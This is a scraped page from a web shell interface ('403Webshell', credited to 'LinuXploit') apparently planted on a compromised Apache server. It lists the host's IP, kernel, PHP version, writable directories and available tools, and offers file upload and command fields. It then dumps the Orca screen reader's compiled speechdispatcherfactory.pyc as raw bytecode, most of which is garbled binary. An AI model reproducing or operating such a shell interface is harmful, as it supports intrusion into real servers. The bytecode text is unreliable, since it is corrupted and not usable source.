403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca//speechdispatcherfactory.pyc
Ñò
z#ÝJc@südZdZdZdZdZdZdZddkZddkZddk	Z	ddk
Z
ddkZdd	kl
Z
dd
klZyddkZWn
eZn:XeZyeedƒWnej
o
eZnXeZde	ifd
„ƒYZdS(s‰Provides an Orca speech server for Speech Dispatcher backend.

NOTE: THIS IS EXPERIMENTAL ONLY AND IS NOT A SUPPORTED COMPONENT OF ORCA.
s$Id$s
$Revision$s$Date$s Tomas Cerha <cerha@brailcom.org>s(Copyright (c) 2006-2008 Brailcom, o.p.s.tLGPLiÿÿÿÿN(tACSS(t_tCallbackTypetSpeechServercBsãeZhZdZhedƒe6Zhdd6dd6dd6Zd„ZeeƒZd„Z	ee	ƒZ	d	„Z
ee
ƒZ
d,d
„Z
ee
ƒZ
d„ZeeƒZd„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zed„Zed„Zd„Zd„Zd,d,ed„Z dd,d„Z!d,ed„Z"d„Z#d,d „Z$d!„Z%d"d#„Z&d"d$„Z'd%d&„Z(d%d'„Z)d(„Z*d)„Z+d,d,d*„Z,d+„Z-RS(-tdefaultsDefault Synthesizert
underscoreRtspacesdouble-quotet"cCs
tdƒS(NsSpeech Dispatcher(R(((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytgetFactoryNameUscCsgg}titiƒ}|dj	o>|i|ƒx.|iƒD]}|iti|ƒƒq?Wn|S(N(Rt_getSpeechServertDEFAULT_SERVER_IDtNonetappendtlist_output_modules(tserversRtmodule((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytgetSpeechServers\s


cCs.||ijo||ƒn|ii|ƒS(sºReturn an active server for given id.

        Attempt to create the server if it doesn't exist yet.  Returns None
        when it is not possible to create the server.
        
        (t_active_serverstget(tclstserverId((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR
fscCs1|dj	o|d}n
ti}ti|ƒS(Ni(RRRR
(tinfotthisId((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytgetSpeechServerts
	cCs(x!tiiƒD]}|iƒqWdS(N(RRtvaluestshutdown(tserver((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytshutdownActiveServers|scCs›tt|ƒiƒ||_d|_h|_ti|i	fti
|ifti|i
fti|iff|_tptitidƒdStptitidƒdShtiiti6tiiti6tiiti6tiiti6|_ ht!i"i#ti$i%6t!i"i&ti$i'6t!i"i(ti$i)6|_*t+dƒ||_,y|i-ƒWn*titidƒti.tiƒnX|ti/|<dS(Ns*Speech Dispatcher interface not installed.s5Speech Dispatcher version 0.6.2 or later is required.s%s default voices,Speech Dispatcher service failed to connect:(0tsuperRt__init__t_idRt_clientt_current_voice_propertiesRtRATEt	_set_ratet
AVERAGE_PITCHt
_set_pitchtGAINt_set_volumetFAMILYt_set_familyt_acss_manipulatorst_speechd_availabletdebugtprintlnt
LEVEL_WARNINGt_speechd_version_oktspeechdtPunctuationModetALLtsettingstPUNCTUATION_STYLE_ALLtSOMEtPUNCTUATION_STYLE_MOSTtPUNCTUATION_STYLE_SOMEtNONEtPUNCTUATION_STYLE_NONEt_PUNCTUATION_MODE_MAPtspeechservert
SayAllContexttPROGRESSRtBEGINtINTERRUPTEDtCANCELt	COMPLETEDtENDt_CALLBACK_TYPE_MAPRt_default_voice_namet_inittprintExceptionR(tselfR((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyRƒsB			cCsptidd|iƒ|_}|i|ijo|i|iƒnh|_|iti	}|i
|ƒdS(NtOrcat	component(R0t
SSIPClientRR Rtset_output_moduleR!R:R3tverbalizePunctuationStyletset_punctuation(RGtclienttmode((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyRE¸s	cOsvttdƒoUy|||ŽSWqrtij
o.titidƒ|iƒ|||ŽSXn|||ŽSdS(NtSSIPCommunicationErrors7Speech Dispatcher connection lost. Trying to reconnect.(thasattrR0RPR,R-tLEVEL_CONFIGURATIONtreset(RGtcommandtargstkwargs((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt
_send_commandÀs
cCs@tdtdtd|ƒƒdƒ}|i|ii|ƒdS(Niiicib(tinttmaxtminRWR tset_rate(RGt	acss_ratetrate((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR#Îs&cCs@tdtdtd|ƒƒdƒ}|i|ii|ƒdS(Niii	iZ(RXRYRZRWR t	set_pitch(RGt
acss_pitchtpitch((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR%Òs&cCs@tdtdtd|ƒƒdƒ}|i|ii|ƒdS(Niii	i#(RXRYRZRWR t
set_volume(RGtacss_volumetvolume((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR'Ös&cCsÀ|tii}|oK|idƒd}|o-t|ƒdjo|i|ii|ƒqbny|ii}Wnt	j
on6X|tii
}||ijo|i||ƒndS(NRii(R;tVoiceFamilytLOCALEtsplittlenRWR tset_languagetset_synthesis_voicetAttributeErrortNAMERD(RGtacss_familytlocaletlangRitname((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR)ÚscCs’|djotiti}n|i}xa|iD]V\}}|i|ƒ}|dj	o.|i|ƒ|jo||ƒ|||<q4q4WdS(N(RR3tvoicest
DEFAULT_VOICER!R*R(RGtacsstcurrentt
acss_propertytmethodtvalue((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt_apply_acssês
	
#
cKsN|idƒiddƒidƒ}|i|ƒ|i|ii||dS(NsUTF-8u t (tdecodetreplacetencodeRwRWR tspeak(RGttextRrRV((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt_speakôs$
cssyˆiƒ\‰}Wntj
onEXd‡‡‡‡fd†}ˆiˆi|d|dˆiiƒƒtS(sLProcess another sayAll chunk.

        Called by the gidle thread.

        cs±ˆi|}|tiijo*|ot|ƒˆ_qmˆiˆ_n$|tiijoˆiˆ_nt	i
ˆˆ|ƒ|tiijot	i
ˆiˆˆƒndS(N(RCR;R<R=RXt
currentOffsettstartOffsetRAt	endOffsettgobjecttidle_addt_say_all(tcallbackTypet
index_marktt(titeratorRGt
orca_callbacktcontext(s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytcallbacks
R‹tevent_typesN(tnextt
StopIterationRR~t	utteranceRCtkeystFalse(RGRˆR‰RrR‹((RˆRGR‰RŠs@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR„üscCs|i|iiƒdS(N(RWR tcancel(RG((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt_cancelscCs¤titi}ti|odpd
}|ti}tdtd||ƒƒ|ti<ti	ti
d|ƒ|i|o
tdƒp
tdƒd|ƒdS(	NiÿÿÿÿiiicsSpeech rate is now %dsslower.sfaster.Rr(
R3RpRqtspeechRateDeltaRR"RYRZR,R-RRR|R(RGtdecreaseRrtdeltaR]((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt_change_default_speech_rates
#cCs¤titi}ti|odpd
}|ti}tdtd||ƒƒ|ti<ti	ti
d|ƒ|i|o
tdƒp
tdƒd|ƒdS(	Niÿÿÿÿiii	sSpeech pitch is now %dslower.shigher.Rr(
R3RpRqtspeechPitchDeltaRR$RYRZR,R-RRR|R(RGR•RrR–R`((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt_change_default_speech_pitch's
#cCs"|ii|i|iƒ|igS(N(t
_SERVER_NAMESRR(RG((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytgetInfo1scCsüddkl}l}||ƒd}|djp
|djo
d}n|idƒd}|i|dff}y|ii}Wntj
onX||i	|ƒ7}g}|D]9\}}}	|t
ih|t
ii6|t
ii
6ƒq¶~}
|
S(Niÿÿÿÿ(t	getlocaletLC_MESSAGESitCR(RmRœRRRfRDR tlist_synthesis_voicesRjRWR;RdRkRe(RGRœRRmRnRpRŸt_[1]Rotdialecttfamilies((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytgetVoiceFamilies4s
FcCs|o|i||ƒndS(N(R~(RGR}Rrt	interrupt((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR|LstcCs|o|i||ƒndS(N(R~(RGR}Rr((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt	queueTextSscCs0x)|D]!}|o|i||ƒqqWdS(N(R~(RGt
utteranceListRrR¤R((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytspeakUtterancesWscCsti|i||ƒdS(N(R‚RƒR„(RGtutteranceIteratortprogressCallback((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytsayAll^scCsN|i|ƒ|djo|i|iidƒn|i|ii|ƒdS(Ns
send-of-line(RwRWR t
sound_icontchar(RGt	characterRr((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytspeakCharacteras

cCsœ|tiijol|idƒiƒotiti}nd}|i	i
||ƒ}|i|ƒ|i|i
i|ƒntt|ƒi||ƒSdS(NsUTF-8(torcatKeyEventTypet	PRINTABLERytisupperR3RptUPPERCASE_VOICERt	KEY_NAMESRRwRWR tkeyRRt
speakKeyEvent(RGtevent_stringt	eventTypeRrR¶((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR·hs
icCs|iƒdS(N(R—(RGtstep((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytincreaseSpeechRatexscCs|idtƒdS(NR•(R—tTrue(RGRº((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytdecreaseSpeechRate{sgà?cCs|iƒdS(N(R™(RGRº((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytincreaseSpeechPitch~scCs|idtƒdS(NR•(R™R¼(RGRº((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytdecreaseSpeechPitchscCs|iƒdS(N(R“(RG((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pytstop„scCs|iiƒti|i=dS(N(R tcloseRRR(RG((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR‡s
cCs|iiƒ|iƒdS(N(R RÁRE(RGR}Rr((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyRS‹s
cCsHy|i|iiƒSWn*tj
odStij
odSXdS(sYReturn names of available output modules as a tuple of strings.

        This method is not a part of Orca speech API, but is used internally
        by the Speech Dispatcher backend.
        
        The returned tuple can be empty if the information can not be
        obtained (e.g. with an older Speech Dispatcher version).
        
        N(((RWR RRjR0tSSIPCommandError(RG((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyRs
N(.t__name__t
__module__RRRRšRµR	tstaticmethodRR
tclassmethodRRRRRERWR#R%R'R)RwR~R„R“R‘R—R™R›R£R¼R|R¦R¨R«R¯R·R»R½R¾R¿RÀRRSR(((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyR?s\
					5							
			

						(t__doc__t__id__t__version__t__date__t
__author__t
__copyright__t__license__R‚R,R;R3R°RrRt	orca_i18nRR0R‘R+R¼tgetattrRjR/R(((s@/usr/lib/python2.6/site-packages/orca/speechdispatcherfactory.pyt<module> s0


Youez - 2016 - github.com/yon3zu
LinuXploit